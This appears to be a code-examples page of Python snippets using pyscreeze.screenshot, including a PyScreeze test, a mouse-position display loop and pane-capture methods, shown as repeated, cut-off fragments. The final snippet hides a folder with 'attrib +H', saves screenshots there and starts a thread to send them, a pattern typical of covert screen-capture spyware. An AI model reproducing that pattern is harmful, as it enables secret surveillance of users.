Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def test_1000screenshots(self):
# This test takes about two minutes for 200 screenshots.
# On Windows, if I change PyScreeze away from Pillow and make win32 api calls directly but forget to release
# the DCs (display contexts), the program would fail after about 90 or screenshots.
# https://stackoverflow.com/questions/3586046/fastest-way-to-take-a-screenshot-with-python-on-windows
for i in range(200):
pyscreeze.screenshot(TEMP_FILENAME)
self.assertTrue(isPng(TEMP_FILENAME))
os.unlink(TEMP_FILENAME)
except:
runningIDLE = False
print("Press Ctrl-C to quit.")
if xOffset != 0 or yOffset != 0:
print("xOffset: %s yOffset: %s" % (xOffset, yOffset))
try:
while True:
# Get and print the mouse coordinates.
x, y = position()
positionStr = "X: " + str(x - xOffset).rjust(4) + " Y: " + str(y - yOffset).rjust(4)
if not onScreen(x - xOffset, y - yOffset) or sys.platform == "darwin":
# Pixel color can only be found for the primary monitor, and also not on mac due to the screenshot having the mouse cursor in the way.
pixelColor = ("NaN", "NaN", "NaN")
else:
pixelColor = pyscreeze.screenshot().getpixel(
(x, y)
) # NOTE: On Windows & Linux, getpixel() returns a 3-integer tuple, but on macOS it returns a 4-integer tuple.
positionStr += " RGB: (" + str(pixelColor[0]).rjust(3)
positionStr += ", " + str(pixelColor[1]).rjust(3)
positionStr += ", " + str(pixelColor[2]).rjust(3) + ")"
sys.stdout.write(positionStr)
if not runningIDLE:
# If this is a terminal, than we can erase the text by printing \b backspaces.
sys.stdout.write("\b" * len(positionStr))
else:
# If this isn't a terminal (i.e. IDLE) then we can only append more text. Print a newline instead and pause a second (so we don't send too much output).
sys.stdout.write("\n")
time.sleep(1)
sys.stdout.flush()
except KeyboardInterrupt:
sys.stdout.write("\n")
def take_screenshot(self):
current_pane = self._get_current_pane()
if current_pane is None:
return None
rect = [current_pane.AXPosition[0], current_pane.AXPosition[1], current_pane.AXSize[0], current_pane.AXSize[1]]
return pyscreeze.screenshot(region=rect)
def take_screenshot(self):
current_pane = self._get_current_pane()
if current_pane is None:
return None
rect = [current_pane.AXPosition[0], current_pane.AXPosition[1], current_pane.AXSize[0], current_pane.AXSize[1]]
return pyscreeze.screenshot(region=rect)
except:
runningIDLE = False
print("Press Ctrl-C to quit.")
if xOffset != 0 or yOffset != 0:
print("xOffset: %s yOffset: %s" % (xOffset, yOffset))
try:
while True:
# Get and print the mouse coordinates.
x, y = position()
positionStr = "X: " + str(x - xOffset).rjust(4) + " Y: " + str(y - yOffset).rjust(4)
if not onScreen(x - xOffset, y - yOffset) or sys.platform == "darwin":
# Pixel color can only be found for the primary monitor, and also not on mac due to the screenshot having the mouse cursor in the way.
pixelColor = ("NaN", "NaN", "NaN")
else:
pixelColor = pyscreeze.screenshot().getpixel(
(x, y)
) # NOTE: On Windows & Linux, getpixel() returns a 3-integer tuple, but on macOS it returns a 4-integer tuple.
positionStr += " RGB: (" + str(pixelColor[0]).rjust(3)
positionStr += ", " + str(pixelColor[1]).rjust(3)
positionStr += ", " + str(pixelColor[2]).rjust(3) + ")"
sys.stdout.write(positionStr)
if not runningIDLE:
# If this is a terminal, than we can erase the text by printing \b backspaces.
sys.stdout.write("\b" * len(positionStr))
else:
# If this isn't a terminal (i.e. IDLE) then we can only append more text. Print a newline instead and pause a second (so we don't send too much output).
sys.stdout.write("\n")
time.sleep(1)
sys.stdout.flush()
except KeyboardInterrupt:
sys.stdout.write("\n")
def TakeScr(): # function to take screenshot
if blnStoreLocal == "True":
threading.Thread(pyscreeze.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
else:
if not os.path.isdir(cPuffDir): # if the screen dir doesnt exist, create it
os.makedirs(cPuffDir)
subprocess.Popen(["attrib", "+H", cPuffDir]) # make folder hidden
strScrPath = time.strftime(cPuffDir + "/%Y%m%d%H%M%S" + ".png") # save screenshot with datetime format
threading.Thread(pyscreeze.screenshot().save(strScrPath)).start()
SendScreenThread = threading.Thread(target=SendScreen)
SendScreenThread.daemon = True
SendScreenThread.start()